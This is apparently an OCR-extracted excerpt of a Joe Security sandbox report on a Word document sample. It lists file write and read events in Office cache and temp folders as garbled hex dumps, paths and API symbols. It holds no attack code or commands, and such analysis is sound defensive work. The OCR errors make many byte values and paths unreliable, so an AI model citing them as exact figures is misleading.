55 fd 4f 78 40 fd fd 62 7a
fd 30 fd fd 01 00 00 00 Oe
00 00 00 00 00 00 00 fd
42 fd 72 37 fd fd 45 fd fd
30 fd fd fd 0d fd 01 00 00
00 06 20 fd fd fd fd 6b 23
fd fd 37 46 fd 25 fd 52 04
5c fd fd 03 00 00 00 Of 00
00 00 00 00 00 00 fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 01 00 00 00
fd 5¢ 40 fd 3d fd 69 4d fd
74 fd 08 2a fd fd 05 01 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

UOx@bzO0Br7E0
k#7F%R\JRwWps\@=iMt*

ea 69 49 fd Oc 56 Oc fd 4e iIVNITD{myk\+3Fd(QR"
fd 49 fd fd 54 44 fd 7b 6d = 8fJRwpsJRwps\@=iMt*
fd 79 04 6b fd fd 5¢ 2b 16

fd 33 fd fd 46 fd 64 fd 28

fd 51 52 fd 01 00 00 00

00 00 00 00 05 60 20 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 38

66 14 fd fd 84 fd fd 0d 4a

fd fd 52 Oc 77 fd 70 73 Oc

fd fd 84 fd fd 0d 4a fd fd

52 0c 77 fd 70 73 Oc fd 5¢

40 fd 3d fd 69 4d fd 74 fd

08 2a fd fd 05 05

Completion

success or wait

success or wait

zVNITD{mykOMMCOYpe  success or wait

success or wait

Count Source Address

1

1

1

1

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset Length Value Ascii

C:\Users\user\AppData\Local\Mi 15032 81
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 10824 56
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 1608 40
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 0 512
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 76 40
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 15208 134
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 15344 70
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

Copyright Joe Security LLC 2022

Completion

3e 03000054 070000 >TT'NITD{mykyjXSQJRw success or wait

00 fd 54 27 Oc fd 4e fd 49 ps\@=iMt*
fd fd 54 44 fd 7b 6d fd 79

04 6b fd 79 00 6a 03 00

00 58 53 51 fd fd 84 fd fd

0d 4a fd fd 52 Oc 77 fd 70

73 01 00 00 00 fd 5¢ 40

fd 3d fd 69 4d fd 74 fd 08

2a fd fd 05 01 00 00 00 fd

fd 01

03 10 fd fd 06 00 fd fd 4e  NITD{mykOMMCOYpe
fd 49 fd fd 54 44 fd 7b 6d

fd 79 04 6b fd 01 00 00

00 06 00 00 00 00 00 00

00 30 fd fd 4d fd 4d 43 4f

fd 59 fd 1c fd 70 06 65 01

00 00 00

1000000003 000000 wu
11 00 00 00 06 00 00 00

12 00 00 00 04 00 00 00

13 00 00 00 02 00 00 00

01 0000 00 75 75 fd fd

Oc fd 91 fd 1b fd 4d fd 65 MeFyzPF"$S,XFFag{5m
46 79 fd fd fd 7a fd fd fd fd HDgEP/tP>PBxxxx+
fd 50 03 46 fd fd 22 fd Oc
fd 24 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 00 00 7b 35 17
6d 48 fd fd fd 44 1e Oc fd
0Ob 00 00 00 00 00 00 00
fd fd fd fd fd fd 71 45 fd fd
fd 50 fd 2f 74 fd 50 3e 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 50
42 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 04 00 00 00 fd
78 fd Of fd 78 fd Of fd 78 fd
0of fd 78 fd Of 12 00 00 00
00 00 00 00 2b 04 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

040000 7b 3517 6d 48  {SmHDQEP/t
fd fd fd 44 1e Oc fd Ob 00

00 00 00 00 00 00 fd fd fd

fd fd fd 71 45 fd fd fd 50

fd 2f 74 fd

ea 69 49 01 0c 56 Oc fd fd  iIVk#7F%R\J4Q}4N_ugk
6b 23 fd fd 37 46 fd 25fd  27djO{50u

5204 5cfd12fd4a34  9u'y\9OMbINSI[Eby
51 7d 34 4e fd 5f fd 75 71

6b fd 49 03 00 00 00 00

00 00 00 Ob fd 00 fd 32 fd

37 fd fd 64 1b fd 6a 4f fd

7b 06 12 35 6f fd 75 01

0000 11 03 39 03 00 75

fd 00 fd 60 03 Oc fd 79 fd

fd 5c fd 39 4f fd fd fd 4d

fd fd 62 fd 00 39 01 00 00

00 00 00 00 00 10 00 00

00 fd 4e fd 38 fd fd fd 49

fd 5b fd 45 11 fd 62 fd 79

05

ea 69 49 01 Oc 56 1c fd fd iIVK#7F%R\JAQ}4N_ugkl
6b 23 fd fd 37 46 fd 25 fd  X"Br7EO

52 04 5¢ fd 12 fd 4a 34

51 7d 34 4e fd 5f fd 75 71

6b fd 49 04 00 00 00 00

00 00 00 07 58 22 Oc fd

421d 72 37 fd fd 45 fd fd

30 fd fd fd 0d fd 05

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

2

1

1

2

TFEEE917A59

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

TFEEE917A59

TFEEE917A59

7FEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi 15552
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 2804
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 15952
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 1648
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 15992
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

Copyright Joe Security LLC 2022

Length

199

298

40

32

32

Value

3e 03 00 00 54 07 00 00
00 fd 54 27 1c fd fd 6b 23
fd fd 37 46 fd 25 fd 52 04
5c fd fd 29 00 72 03 00
00 58 2b 29 fd 42 fd 72
37 fd fd 45 fd fd 30 fd fd
fd 0d fd 01 00 00 00 fd 54
49 Oc fd 28 55 fd 4f 78 40
fd fd 62 7a fd 30 fd fd 79
03 Oc fd fd 6b 23 fd fd 37
46 fd 25 fd 52 04 5c¢ fd fd
7a 03 00 00 fd 54 27 Oc
fd 4e fd 49 fd fd 54 44 fd
7b 6d fd 79 04 6b fd 79
00 6a 03 00 00 58 53 51
fd fd 84 fd fd Od 4a fd fd
52 0c 77 fd 70 73 01 00
00 00 fd 5c 40 fd 3d fd 69
4d fd 74 fd 08 2a fd fd 05
01 00 00 00 fd 54 27 Oc
fd fd 6b 23 fd fd 37 46 fd
25 fd 52 04 5c fd fd 39 00
fd 03 00 00 fd fd 01

05 fd 00 fd 6d 07 11 fd fd
6b 23 fd fd 37 46 fd 25 fd
52 04 5c fd fd 01 00 00
00 01 02 00 09 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd 7e 07 09 fd fd 6b 23
fd fd 37 46 fd 25 fd 52 04
5c fd fd 03 00 00 00 01
02 00 0a 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
07 11 fd 28 55 fd 4f 78 40
fd fd 62 7a fd 30 fd fd 01
00 00 00 01 06 00 Ob 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd 07 19 3e fd
7708 67 63 66 45 fd fd
34 fd 50 fd 59 01 00 00
00 01 01 00 Oc 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 07 60
fd fd fd 65 fd 3f fd 48 fd fd
fd 69 5¢ 17 77 fd 01 00
00 00 05 fd 00 fd fd 07 19
fd fd 69 0d fd 6e 06 4f fd
5b 34 fd 41 27 fd fd 01 00
0000 01 01 00 10

10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01 00 00 00 cb fd fd

11 00 00 00 0d 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 26 1f fd fd

11 00 00 00 0d 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 fd 43 31 fd

Ascii Completion

STT'k#7F%R\)rX+)Br7EO  success or wait
TIUOXx@bz0

yk#7TF%R\zT'NITD{mykyj

XSQJIRwps\

@=IMt*T'k#7F%R\9

mk#7F%R\~k#7F%R\UO  success or wait
X@bz0>wgcfE4Y ?
Hi\winO[4A"

success or wait

& success or wait

C1 success or wait

Count Source Address

2 TFEEE917A59
3 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi 0
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 76
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 19456
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-

8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 19704
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-

8DC0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Length

512

40

130

70

Value Ascii

Oc fd 91 fd 1b fd 4d fd 65 MeFyzPF"$S,XFFag{5m
46 79 fd fd fd 7a fd fd fd fd HDgQEP/tP>PBxxxx+
fd 50 03 46 fd fd 22 fd Oc
fd 24 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 00 00 7b 35 17
6d 48 fd fd fd 44 1e Oc fd
0Ob 00 00 00 00 00 00 00
fd fd fd fd fd fd 71 45 fd fd
fd 50 fd 2f 74 fd 50 3e 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 50
42 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 04 00 00 00 fd
78 fd Of fd 78 fd Of fd 78 fd
of fd 78 fd Of 12 00 00 00
00 00 00 00 2b 04 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

fd fd 04 5f 67 4c fd 4c fd
1d Oc 6¢ 69 fd 20 3c 0f 00
00 00 00 00 00 00 26 fd
30 4f fd 44 fd fd 20 26 6f
fd fd fd

_gLLIli <&00D &o

€a 694901 0c560c34 ilvV4<xa?

3c 10fd 78 61 3f 43 fd 3e  C>;QMyg{LA{{}J*|.AfL*.
3b fd fd 1d 51 4d fd 79 67 9u’CK]DLko{950KOqy
fd fd fd 7b fd 4c fd 41 fd

fd 7b 7b 7d 4a 03 00 00

00 00 00 00 00 Ob fd 00

fd 2a Oc 7c fd 2e fd fd 41

66 4c fd fd 19 fd fd 2a 19

2e 0339 03 00 75 fd 00

fd 60 03 Oc 43 4b fd 5d fd

fd 44 4c fd 6b 6f 7b fd fd

fd fd 00 39 01 00 00 00

00 00 00 00 10 00 00 00

fd 00 35 fd fd 4f fd 4b fd

4f fd fd fd fd 71 79 05

ea 6949 01 0c 56 24 34  iIV$4<xa?
3¢ 101d 78 61 3f 43 fd 3 C>;QMyg{LA{{IX"|ntFJ
3b fd fd 1d 51 4d fd 79 67 Dt

fd fd fd 7b fd 4c fd 41 fd

fd 7b 7b 7d 4a 06 00 00

00 00 00 00 00 07 58 22

0c 7c 0d 6e 74 73 46 4a

fd fd fd 6a 44 fd 74 fd 05

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
2 7TFEEE917A59
4 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.Word\~WRS{0
F1199C9-FFD7-4240-8F04-53D5263
1A074}.tmp

File Read

File Path

Offset

3674

21248

16672

21288

0

0

Length Value

372

40

32

32

512

05 fd 00 fd fd 09 11 34 3c
10 fd 78 61 3f 43 fd 3e 3b
fd fd 1d 51 4d 01 00 00
00 01 06 00 20 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd fd 09 Oe 34 3¢ 10 fd
78 61 3f 43 fd 3e 3b fd fd
1d 51 4d 02 00 00 00 01
01 00 21 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
09 09 34 3c 10 fd 78 61
3f 43 fd 3e 3b fd fd 1d 51
4d 04 00 00 00 01 02 00
2200 00 00 00 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 05 fd 00 fd fd 09 10
fd fd fd 6a fd 4b fd fd 72
fd 32 31 fd 12 01 00 00
00 01 03 00 23 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd fd 09 57 fd 6c fd fd
46 40 3c 49 fd 3e fd 75 fd
ef fd 01 00 00 00 01 06
00 24 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 07 60 fd fd fd

10 00 00 00 03 00 00 00
11 00 00 00 1a 00 00 00
12 00 00 00 08 00 00 00
13 00 00 00 06 00 00 00
01 00 00 00 fd 56 fd

11 00 00 00 23 00 00 00
12 00 00 00 Oa 00 00 00
13 00 00 00 08 00 00 00
01 00 00 00 e4 21 60

11 00 00 00 23 00 00 00
12 00 00 00 Oa 00 00 00
13 00 00 00 08 00 00 00
01 00 00 00 15 fd fd fd

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 6b 28 56
fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3¢
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

08 00

Offset

C:\Users\user\AppData\Local\Temp\{6B16DF9D-3276-41E2-93CB-F1 76

48AEE50BE1}

Copyright Joe Security LLC 2022

Ascii

4<xa?C>;QM 4<xa?
C>;QM!4<xa?C>;
QM'[Kr21#WIF@<I>u$"

#°

MeFyzk(VOO};S,XFFaq_
gLLIi <&00D &0SWxxxx*

Length

40

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

end of file

Count Source Address

3 TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 6E2E0648

Count Source Address

1 TFEEE917AFD

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

unknown

Symbol

ReadFile
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File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\{6B16DF9D-3276-41E2-93CB-F1 76 40 success or wait 1 7FEEE917AFD ReadFile
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\{6B16DF9D-3276-41E2-93CB-F1 76 40 success or wait 1 7FEEE917AFD ReadFile
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\{6B16DF9D-3276-41E2-93CB-F1 76 40 success or wait 1 7FEEE917AFD ReadFile
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\{6B16DF9D-3276-41E2-93CB-F1 76 40 success or wait 1 7FEEE917AFD ReadFile
48AEE50BE1}

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7TFEEE917AFD ReadFile
CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 0 512 success or wait 1 7TFEEE917AFD ReadFile
CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7TFEEE917AFD ReadFile
CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file 1 7TFEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 0 19 success or wait 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 16 1 success or wait 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 0 19 success or wait 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 end of file 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 success or wait 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 0 512 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Temp\{4EBE4D7B-7080-4C78-9E4E-C3 76 40 end of file 1 7FEEE917AFD ReadFile
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\{4EBE4D7B-7080-4C78-9E4E-C3 76 40 success or wait 1 7FEEE917AFD ReadFile
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\{4EBE4D7B-7080-4C78-9E4E-C3 76 40 success or wait 1 7FEEE917AFD ReadFile
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\{4EBE4D7B-7080-4C78-9E4E-C3 76 40 success or wait 1 7FEEE917AFD ReadFile
9E5F92BCDO}

C:\Users\user\AppData\Local\Temp\{4EBE4D7B-7080-4C78-9E4E-C3 76 40 success or wait 1 7FEEE917AFD ReadFile
9E5F92BCDO}

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile

Cache\LocalCacheFileEditManager\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 0 512 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD
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File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 0 19 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 16 1 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 0 19 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 0 512 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 0 512 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD

C:\Users\user\Desktop\ZDhoKQk8G6.docx 448493 321 success or wait 1 6E2E0648 unknown

